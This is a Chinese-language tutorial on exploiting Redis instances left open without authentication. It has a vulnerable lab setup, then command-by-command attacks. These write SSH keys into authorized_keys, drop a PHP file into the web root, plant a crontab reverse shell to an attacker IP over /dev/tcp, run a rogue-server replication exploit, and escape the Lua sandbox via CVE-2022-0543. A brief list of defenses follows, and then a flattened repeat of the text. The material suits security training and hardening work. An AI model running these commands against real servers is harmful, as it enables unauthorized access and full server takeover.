Redis未授权访问利用合集
字数 806 2025-08-12 11:33:52

Redis未授权访问漏洞利用完全指南

漏洞概述

Redis未授权访问漏洞是指Redis服务默认绑定在0.0.0.0:6379,当未设置访问限制和认证密码时,攻击者可以直接访问Redis服务,执行任意操作。该漏洞危害极大,可能导致服务器被完全控制。

漏洞利用场景

  1. SSH公钥登录 - 写入SSH公钥实现免密登录
  2. Webshell写入 - 在Web目录写入恶意脚本
  3. 定时任务反弹Shell - 通过crontab获取反向连接
  4. 主从复制RCE - Redis 4.x/5.x版本的主从复制命令执行
  5. CVE-2022-0543沙盒逃逸 - Lua沙盒逃逸执行任意命令

环境搭建

# 下载并编译Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
make

# 安装到系统目录
cd src
cp redis-server redis-cli /usr/bin/
cp ../redis.conf /etc/

# 配置Redis
vim /etc/redis.conf
# 注释掉bind 127.0.0.1或改为bind 0.0.0.0
# 设置protected-mode no
# 保存配置

# 启动Redis
redis-server /etc/redis.conf

# 关闭防火墙
systemctl stop firewalld

漏洞利用方法

1. SSH公钥登录

前提条件

  • Redis以root权限运行
  • 服务器开放SSH服务

利用步骤

# 生成SSH密钥对
ssh-keygen -t rsa

# 格式化公钥(添加两个换行)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub) > test.txt

# 将公钥写入Redis
cat test.txt | redis-cli -h 目标IP -x set crack

# 连接Redis
redis-cli -h 目标IP

# 设置备份目录为/root/.ssh
config set dir /root/.ssh

# 设置备份文件名为authorized_keys
config set dbfilename authorized_keys

# 保存
save

# 使用私钥SSH登录
ssh -i /root/.ssh/id_rsa root@目标IP

2. Webshell写入

前提条件

  • 知道Web目录绝对路径
  • Redis有写入权限

利用步骤

# 连接Redis
redis-cli -h 目标IP

# 设置备份目录为Web目录
config set dir /var/www/html/

# 设置备份文件名为shell.php
config set dbfilename shell.php

# 写入PHP代码
set shell "<?php phpinfo();?>"

# 保存
save

3. 定时任务反弹Shell

利用步骤

# 连接Redis
redis-cli -h 目标IP

# 设置备份目录为cron目录
config set dir /var/spool/cron/

# 设置备份文件名为root
config set dbfilename root

# 写入定时任务(每分钟执行一次反弹)
set xx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者IP/4444 0>&1\n\n"

# 保存
save

4. 主从复制RCE(Redis 4.x/5.x)

利用步骤

# 下载利用工具
git clone https://github.com/n0b0dyCN/redis-rogue-server

# 编译exp
cd RedisModulesSDK/exp/
make

# 执行攻击
python redis-rogue-server.py --rhost 目标IP --lhost 攻击者IP --lport 4444

5. CVE-2022-0543沙盒逃逸

影响版本

  • 2.2 <= redis < 5.0.13
  • 2.2 <= redis < 6.0.15
  • 2.2 <= redis < 6.2.5

利用方法

# 连接Redis后执行
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("touch /tmp/redistest", "r"); local res = f:read("*a"); f:close(); return res' 0

防御措施

  1. 设置强密码:在redis.conf中配置requirepass选项
  2. 绑定IP:设置bind 127.0.0.1或指定可信IP
  3. 启用保护模式protected-mode yes
  4. 修改默认端口:更改6379为非常用端口
  5. 限制访问:通过防火墙限制访问来源
  6. 降权运行:不以root权限运行Redis
  7. 及时更新:修复已知漏洞版本

总结

Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,并定期检查安全配置。

Redis未授权访问漏洞利用完全指南 漏洞概述 Redis未授权访问漏洞是指Redis服务默认绑定在0.0.0.0:6379,当未设置访问限制和认证密码时,攻击者可以直接访问Redis服务,执行任意操作。该漏洞危害极大,可能导致服务器被完全控制。 漏洞利用场景 SSH公钥登录 - 写入SSH公钥实现免密登录 Webshell写入 - 在Web目录写入恶意脚本 定时任务反弹Shell - 通过crontab获取反向连接 主从复制RCE - Redis 4.x/5.x版本的主从复制命令执行 CVE-2022-0543沙盒逃逸 - Lua沙盒逃逸执行任意命令 环境搭建 漏洞利用方法 1. SSH公钥登录 前提条件 : Redis以root权限运行 服务器开放SSH服务 利用步骤 : 2. Webshell写入 前提条件 : 知道Web目录绝对路径 Redis有写入权限 利用步骤 : 3. 定时任务反弹Shell 利用步骤 : 4. 主从复制RCE(Redis 4.x/5.x) 利用步骤 : 5. CVE-2022-0543沙盒逃逸 影响版本 : 2.2 <= redis < 5.0.13 2.2 <= redis < 6.0.15 2.2 <= redis < 6.2.5 利用方法 : 防御措施 设置强密码 :在redis.conf中配置 requirepass 选项 绑定IP :设置 bind 127.0.0.1 或指定可信IP 启用保护模式 : protected-mode yes 修改默认端口 :更改6379为非常用端口 限制访问 :通过防火墙限制访问来源 降权运行 :不以root权限运行Redis 及时更新 :修复已知漏洞版本 总结 Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,并定期检查安全配置。